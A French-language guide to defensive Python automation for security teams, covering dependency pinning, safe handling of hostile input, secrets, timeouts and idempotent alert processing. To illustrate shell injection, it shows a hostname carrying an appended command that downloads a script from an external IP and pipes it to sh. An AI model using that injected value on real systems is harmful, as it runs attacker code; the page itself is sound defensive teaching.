Aller au contenu

Python pour l'automatisation défensive, usages et garde-fous

Python pour l’automatisation défensive, usages et garde-fous

Section intitulée « Python pour l’automatisation défensive, usages et garde-fous »

Python est la colle des équipes de défense : il trie des journaux, interroge l’API (Application Programming Interface) d’un SIEM (Security Information and Event Management) ou d’un EDR (Endpoint Detection and Response), enrichit des indicateurs et déclenche des actions de confinement. Le revers tient en une phrase : un script de défense détient des jetons que peu d’humains possèdent et lit, par construction, des données écrites par l’attaquant. Cette page dit quoi automatiser, quoi laisser à un humain, et ce que le script doit respecter pour ne pas devenir le chemin d’accès le plus court vers l’outillage de sécurité.

→ Lire l’explication complète de la marmotte

Le langage n’a rien de magique. Il a trois qualités qui comptent ici : une bibliothèque standard qui couvre déjà le réseau, les formats de données et les expressions régulières, un écosystème où presque chaque produit de sécurité publie un client, et une lisibilité qui permet à un analyste de relire le script d’un collègue sans y passer la nuit. Pour le reste de la famille, voir l’histoire et les usages des langages.

Les usages se rangent en six familles, qui n’ont ni le même privilège ni le même risque :

UsagePrivilège du compteRisque propre
Tri et corrélation de journauxLecture sur la sourceEntrée écrite par l’attaquant, analysée par le script
Requêtes vers le SIEM ou l’EDRLecture par APIJeton trop large, quota épuisé
Enrichissement d’indicateursSortie réseau vers des sources tiercesFuite de l’indicateur, requête vers une cible choisie par l’attaquant
Collecte d’inventaireLecture sur le parcCompte à large portée, cible de choix
Contrôles de conformitéLecture de configurationFaux « conforme » quand le contrôle échoue en silence
Réponse automatiséeÉcriture : isolement, blocage, révocationDéni de service auto-infligé

Le compromis central se lit dans la dernière colonne. On gagne du temps de traitement et de la régularité : le script enrichit la millième alerte comme la première. On paie par un nouvel actif à privilèges, écrit vite, rarement relu, souvent lancé depuis un poste d’analyste. La position défendue ici : Python sert de colle et de logique de décision, pas de moteur de calcul. Ce que la plateforme fait nativement (agrégation dans le SIEM, règle de détection dans l’EDR) y reste. Réécrire un moteur de corrélation dans une boucle for fait un très bon projet de week-end et une très mauvaise architecture.

Automatiser ou non : la décision avant d’écrire le script

Section intitulée « Automatiser ou non : la décision avant d’écrire le script »

La question n’est pas « peut-on l’automatiser ? » (la réponse est presque toujours oui) mais « que se passe-t-il quand l’automate se trompe à trois heures du matin ? ». Trois critères tranchent : l’action modifie-t-elle un système, est-elle réversible, et quelle confiance accorder au signal qui la déclenche.

Le schéma ci-dessous se lit de haut en bas : chaque question élimine une catégorie d’actions, et seule la dernière branche autorise une exécution sans validation humaine.

Arbre de décision lu de haut en bas à partir d'une action candidate. Question 1 : l'action modifie-t-elle un système ? Si non, lecture seule (tri, enrichissement, inventaire, contrôle), automatisation directe ; si oui, question 2. Une action irréversible (suppression, réinitialisation, effacement) impose une validation humaine obligatoire ; une action réversible (isolement, blocage, suspension de compte) mène à la question 3. Signal à faux positifs fréquents ou cible critique : proposition à un analyste. Signal fiable, cible hors liste d'exclusion et plafond d'actions non atteint : automatisation sous garde-fous.

La recommandation : automatiser toute la lecture sans état d’âme, automatiser le confinement réversible avec trois garde-fous (liste d’exclusion des actifs critiques, plafond d’actions par période, procédure d’annulation testée), et laisser l’irréversible à un humain. Un script qui isole un poste par erreur coûte un appel au support. Un script qui isole les contrôleurs de domaine parce qu’une règle visait trop large offre à l’attaquant un déni de service qu’il n’a même pas eu à préparer.

Prérequis : interpréteur, environnement virtuel et dépendances épinglées

Section intitulée « Prérequis : interpréteur, environnement virtuel et dépendances épinglées »

Avant la première ligne, trois choses doivent exister.

Un interpréteur maintenu. Chaque version mineure de Python reçoit cinq ans de correctifs, les dernières années en sécurité seulement. La 3.9 est sortie du support en octobre 2025, la 3.10 en sort en octobre 2026. Un script de défense qui tourne sur un interpréteur abandonné est un classique du genre : l’outil de conformité qui échouerait à son propre contrôle.

Un environnement virtuel par outil. python -m venv crée un répertoire de paquets isolé du système. Installer avec sudo pip dans l’interpréteur du système mélange les dépendances du script avec celles de la distribution et exécute avec les droits de root le code d’installation de chaque paquet.

Des dépendances épinglées et vérifiées. Épingler une version (paquet==1.2.3) ne suffit pas : il faut aussi figer l’empreinte du fichier. Avec un fichier d’exigences qui porte des empreintes, pip install --require-hashes -r requirements.txt refuse tout paquet dont le condensé diffère et tout paquet non listé, dépendances transitives comprises. Le sujet des dépendances héritées est traité dans le risque des dépendances transitives, celui des montées de version dans la confiance accordée aux mises à jour automatiques.

Deux pièges méritent d’être nommés. D’abord, installer un paquet, c’est exécuter du code : une distribution source lance son script de construction à l’installation, avec les droits de celui qui tape la commande. L’option --only-binary :all: impose les paquets précompilés, qui ne lancent rien à l’installation, mais un paquet précompilé peut toujours déposer un fichier .pth interprété à chaque démarrage de Python. Ensuite, déclarer un index privé en complément de PyPI (Python Package Index) avec --extra-index-url ouvre la confusion de dépendances : pip retient la version la plus haute, quel que soit l’index qui la propose. Un nom de paquet interne publié en public avec un numéro de version supérieur l’emporte. La parade : un seul index (--index-url) pointant vers un dépôt interne qui fait proxy et filtre.

Un audit régulier des versions installées contre les vulnérabilités publiées (un outil comme pip-audit le fait) complète le dispositif, de même qu’un inventaire des composants généré depuis le fichier de verrouillage.

Le point que les scripts écrits dans l’urgence oublient : une ligne de journal, un nom de fichier, un champ d’en-tête de courriel, un nom d’hôte dans une alerte sont des données que l’attaquant a pu choisir. Le script de tri est donc un analyseur exposé à une entrée hostile, exécuté avec un jeton d’administration de l’outillage de sécurité. Vu comme ça, l’enthousiasme retombe un peu, et c’est très bien.

AttaqueMécanismeContre-mesure
Injection de commandeEntrée concaténée dans une commande passée à un shellListe d’arguments sans shell, validation par liste blanche
Exécution par désérialisationpickle reconstruit des objets en appelant du code choisi par l’auteur du fichierJSON (JavaScript Object Notation) pour tout ce qui transite ; jamais pickle hors données produites localement
Exécution par évaluationeval ou exec sur une chaîne externeAnalyseur dédié ; ast.literal_eval pour des littéraux
Chargement YAML (YAML Ain’t Markup Language) non sûrUn chargeur complet instancie des objets arbitrairesChargeur sûr (yaml.safe_load avec PyYAML)
Interception du traficVérification TLS (Transport Layer Security) désactivéeVérification toujours active, magasin d’autorités interne déclaré
Requête vers une cible choisie par l’attaquantLe script télécharge l’URL (Uniform Resource Locator) contenue dans l’alerteSources de réputation passives, sortie réseau filtrée
Écrasement de fichiersArchive dont les membres sortent du répertoire d’extractionFiltre d’extraction (filter="data" du module tarfile), répertoire jetable
Blocage par expression régulièreRetour arrière catastrophique sur une ligne forgée ; le module re n’a pas de délaiMotifs sans quantificateurs imbriqués, taille de ligne bornée
Falsification de journalSauts de ligne injectés dans un champ recopié tel quelJournalisation structurée, champs échappés

Deux de ces lignes méritent un développement, parce qu’elles reviennent sans cesse.

Le shell. subprocess.run avec shell=True confie la chaîne à un interpréteur de commandes, qui honore ;, |, $( ) et les accents graves. Un nom d’hôte valant srv01; curl http://198.51.100.7/x | sh exécute alors les deux commandes. Retirer le shell ne suffit pas tout à fait : une valeur commençant par un tiret reste interprétée comme une option par le programme appelé. D’où la validation en amont.

import re
import subprocess
# Liste blanche : premier caractère alphanumérique, donc aucune option injectable.
HOTE_VALIDE = re.compile(r"[A-Za-z0-9][A-Za-z0-9.-]{0,252}")
def resoudre(hote: str) -> str:
if not HOTE_VALIDE.fullmatch(hote):
raise ValueError("nom d'hôte refusé")
# À proscrire : subprocess.run(f"getent hosts {hote}", shell=True)
resultat = subprocess.run(
["getent", "hosts", hote], # liste d'arguments, aucun shell
capture_output=True, text=True,
timeout=5, # un sous-processus bloqué ne bloque pas la chaîne
check=True, # un code retour non nul lève une exception
)
return resultat.stdout

La vérification TLS. verify=False arrive toujours de la même façon : l’API interne présente un certificat émis par une autorité privée, l’appel échoue, quelqu’un trouve le paramètre qui fait disparaître l’erreur. Le jeton d’administration de l’EDR voyage alors vers quiconque sait se placer sur le chemin. La correction consiste à déclarer le magasin d’autorités interne (paramètre verify pointant vers le fichier, ou variable REQUESTS_CA_BUNDLE pour la bibliothèque requests), jamais à couper le contrôle. Les fondamentaux sont dans la rubrique PKI et TLS.

L’enrichissement actif a un coût supplémentaire que le tableau ne dit pas : aller chercher soi-même la ressource pointée par un indicateur prévient son propriétaire que l’enquête a commencé, et lui donne l’adresse IP (Internet Protocol) de sortie de l’équipe de défense. La désérialisation et les requêtes forgées côté serveur sont détaillées dans SSRF et désérialisation.

Secrets hors du code et moindre privilège du compte d’exécution

Section intitulée « Secrets hors du code et moindre privilège du compte d’exécution »

Un jeton dans le script finit dans l’historique Git, et l’historique Git ne s’oublie pas ; la page prévention des secrets dans le code source couvre la détection et la purge. Reste à choisir où mettre le secret.

La variable d’environnement est le minimum acceptable, avec ses limites : elle est lisible dans /proc/<pid>/environ par le même utilisateur et par root, et tout sous-processus en hérite. Le gestionnaire de secrets fait mieux quand il délivre des jetons à durée courte, obtenus à l’exécution par une identité de machine. De quoi dépend le choix ? De la capacité à révoquer : si retirer l’accès du script demande de modifier un fichier sur un serveur, la variable d’environnement n’est qu’un secret en dur avec une étape de plus.

Le moindre privilège se décline en règles vérifiables :

  • un compte de service par outil, jamais le compte nominatif de l’analyste, jamais root ;
  • deux identités distinctes pour lire et pour agir : la collecte d’inventaire n’a aucune raison de pouvoir isoler un poste ;
  • un jeton d’API limité aux opérations appelées, avec une date d’expiration ;
  • aucun secret dans les journaux : la journalisation de débogage des couches HTTP (Hypertext Transfer Protocol) imprime les en-têtes, jeton d’autorisation compris.

Les comptes de service ont une fâcheuse tendance à survivre à leur raison d’être : voir les identités jamais révoquées.

Exemple : chaîne de traitement d’une alerte avec délais, reprises et idempotence

Section intitulée « Exemple : chaîne de traitement d’une alerte avec délais, reprises et idempotence »

Le schéma décrit le traitement d’une alerte de bout en bout. À y lire en priorité : la consultation du registre d’état avant toute action, et les trois conditions cumulées qui précèdent la demande d’isolement.

Séquence entre six acteurs : SIEM, Script, Registre d'état, Source de réputation, Outil de tickets et EDR. Le SIEM envoie une alerte (identifiant, hôte, indicateur) au Script, qui demande d'abord au Registre d'état si l'identifiant a déjà été traité ; si oui, arrêt sans action. Sinon, le Script interroge la Source de réputation (indicateur validé, délai borné, reprises limitées) et reçoit verdict et score. Verdict incertain ou source injoignable : ticket enrichi pour décision humaine. Verdict malveillant, hôte hors liste d'exclusion et plafond non atteint : demande d'isolement à l'EDR, qui renvoie un accusé de réception et l'état de l'hôte. Le Script inscrit l'action avec sa clé au Registre, puis envoie un journal structuré de la décision au SIEM.

Trois propriétés font tenir cette chaîne en production.

Les délais. La bibliothèque requests n’applique aucun délai par défaut : un service qui accepte la connexion et ne répond jamais suspend le script indéfiniment, sans erreur ni alerte. Chaque appel sortant porte donc un délai explicite.

import ipaddress
import os
import requests
def reputation(session: requests.Session, valeur: str) -> dict:
ip = ipaddress.ip_address(valeur) # lève ValueError si l'entrée n'est pas une adresse
reponse = session.get(
f"https://ti.example.org/v1/ip/{ip}",
headers={"Authorization": f"Bearer {os.environ['TI_API_TOKEN']}"}, # secret injecté à l'exécution
timeout=(3, 10), # secondes : connexion, puis lecture
) # verify garde sa valeur par défaut : True
reponse.raise_for_status() # un 401 ou un 500 n'est pas un verdict
return reponse.json()

Les reprises. On réessaie les erreurs transitoires (délai dépassé, code 429, codes 502 à 504), avec une attente exponentielle et une part d’aléa pour ne pas marteler un service qui se relève, en respectant l’en-tête Retry-After quand il est fourni, et avec un nombre de tentatives borné. On ne réessaie jamais à l’aveugle une action non idempotente. Et une source injoignable ne vaut pas « indicateur sain » : l’échec bascule vers le ticket humain.

L’idempotence. Relancer le script après un plantage ne doit rien produire de plus. Cela suppose une clé stable (identifiant d’alerte et type d’action), un registre d’état consulté avant d’agir, et une vérification de l’état réel de la cible : demander l’isolement d’un hôte déjà isolé doit être un non-événement. Un verrou empêche deux exécutions concurrentes de traiter la même alerte. Le plafond d’actions joue le rôle de disjoncteur : au-delà du seuil, le script s’arrête et alerte, parce qu’une règle qui veut isoler cinquante postes en dix minutes a soit raison (et il faut des humains), soit tort (et il faut des humains).

Un mode simulation, qui journalise l’action sans l’exécuter, permet de valider chaque nouvelle règle sur du trafic réel avant de lui confier quoi que ce soit.

Ce que l’automatisation en Python ne garantit pas

Section intitulée « Ce que l’automatisation en Python ne garantit pas »

Un script ne détecte rien de plus que les règles qui l’alimentent : il accélère le traitement, il n’améliore pas le signal. Automatiser un flux de faux positifs produit des faux positifs plus vite, avec un joli tableau de bord. Le réglage du signal lui-même est traité dans le calibrage des alertes d’un SIEM.

Il ne garantit pas non plus :

  • l’intégrité de ce qu’il lit. Un journal modifié sur l’hôte compromis est enrichi avec le même sérieux qu’un vrai. L’intégrité vient de la collecte centralisée et de son transport.
  • la transaction. Entre la vérification d’état et l’action, la cible peut changer. Entre l’action et son inscription au registre, le script peut mourir. L’idempotence limite les dégâts, elle ne fournit pas l’atomicité.
  • la stabilité des API. Un champ renommé par l’éditeur fait échouer l’extraction ; si l’erreur est avalée par un except trop large, le contrôle de conformité renvoie « rien à signaler » pour toujours.
  • l’isolation. Un environnement virtuel sépare des paquets, pas des privilèges. Le cloisonnement vient du compte d’exécution, du conteneur ou de la machine.
  • la gouvernance. Qui a le droit de modifier la liste d’exclusion, qui valide une nouvelle action automatique : ces réponses ne sont pas dans le code.

Conditions d’exploitation : rotation, supervision, sauvegarde et reprise

Section intitulée « Conditions d’exploitation : rotation, supervision, sauvegarde et reprise »

Un script de défense se traite comme un service, pas comme un fichier dans un répertoire personnel. Celui qui se croit provisoire n’y échappe pas : les outils jetables ont une espérance de vie que bien des services leur envient.

Cycle de vie du code. Dépôt Git, revue obligatoire, déploiement par un pipeline d’intégration et de déploiement continus plutôt que par copie manuelle. La revue de code orientée sécurité cherche ici quatre choses : shell=True, pickle, eval, verify=False. Les quatre se trouvent avec une recherche de texte, ce qui retire toute excuse.

Rotation des secrets. Le jeton doit pouvoir être remplacé sans toucher au code ni redéployer. Un secret dont la rotation exige une intervention manuelle sur un serveur ne sera pas renouvelé.

Supervision. Le script qui plante se voit. Celui qui ne se lance plus ne se voit pas. Il faut donc un signal de vie émis à chaque exécution réussie, et une alerte sur son absence. Chaque exécution journalise, au format structuré et vers le SIEM : l’identifiant d’alerte, la décision, la raison, la version du script, l’identité utilisée. Le code retour est non nul dès qu’une étape échoue.

Sauvegarde et reprise. Trois éléments sont à sauvegarder : le registre d’état (sans lui, la reprise rejoue tout), la liste d’exclusion et le fichier de verrouillage des dépendances. La reprise consiste à relancer, ce que l’idempotence rend sûr. Chaque action automatique a sa procédure d’annulation documentée et testée, et un interrupteur général coupe toutes les actions d’écriture sans arrêter la collecte.

Faut-il une plateforme SOAR plutôt que des scripts Python ?

Section intitulée « Faut-il une plateforme SOAR plutôt que des scripts Python ? »

Une plateforme SOAR (Security Orchestration, Automation and Response) apporte la gestion des secrets, la file d’attente, les reprises et la trace d’audit déjà construites. Le choix dépend d’une question : combien de chaînes à maintenir, et par combien de personnes ? Quelques scripts bien tenus par une petite équipe coûtent moins cher qu’une plateforme. Au-delà, on finit par réécrire la plateforme, en moins bien.

Les variables d’environnement suffisent-elles pour les secrets ?

Section intitulée « Les variables d’environnement suffisent-elles pour les secrets ? »

Pour un script en lecture seule avec un jeton à portée réduite, oui. Dès que le script peut modifier un système, un gestionnaire de secrets délivrant des jetons à durée courte devient la référence, parce qu’il rend la révocation immédiate et traçable.

Peut-on lancer ces scripts depuis le poste d’un analyste ?

Section intitulée « Peut-on lancer ces scripts depuis le poste d’un analyste ? »

Pour de l’exploration en lecture, oui. Pour toute action d’écriture, non : le poste de travail est une cible à part entière, comme le détaille la page sur la sécurité des postes de développeurs, et un jeton de réponse n’a rien à y faire.

Sans automatisation, l’enrichissement dépend de la charge du moment : sous afflux, les alertes sont fermées sans contexte, et le délai de confinement devient celui de la disponibilité humaine. Les contrôles de conformité se réduisent à un échantillonnage, donc à une opinion. Avec une automatisation sans garde-fous, c’est pire : le jeton en dur donne à quiconque lit le dépôt les droits de l’outillage de sécurité, une ligne de journal forgée s’exécute sur la machine d’analyse, une dépendance non figée change de contenu entre deux installations, et un script relancé après un échec rejoue ses actions. Faute de journal de décision, impossible ensuite de dire qui a isolé quoi, ni pourquoi.

Une équipe de défense reçoit sans arrêt des signalements venus de ses outils de surveillance. Un programme écrit en Python les lit à sa place. Pour chaque signalement, il vérifie d’abord s’il l’a déjà traité, puis il interroge d’autres services pour savoir si l’adresse ou le fichier signalé est connu comme dangereux. Selon la réponse, il prépare un dossier pour un humain ou il agit lui-même, par exemple en coupant une machine du réseau. Chaque décision est écrite dans un journal.

Pour faire cela, le programme détient des mots de passe qui ouvrent les outils de sécurité. C’est là que tout se joue. Ces mots de passe ne sont jamais écrits dans le programme : ils lui sont remis au démarrage. Les morceaux de code empruntés à d’autres sont figés à une version précise et contrôlés avant installation. Tout ce que le programme lit est traité comme suspect, car un attaquant peut y avoir glissé un texte piégé qui se ferait exécuter. Chaque appel à un service a une durée limite ; en cas d’échec, le programme réessaie quelques fois, puis s’arrête et prévient. Il peut être relancé sans refaire deux fois la même action. S’il dépasse un nombre fixé d’actions, il se bloque et laisse un humain décider.

À lire aussi

Pages voisines

: les deux pages se citent l’une l’autre.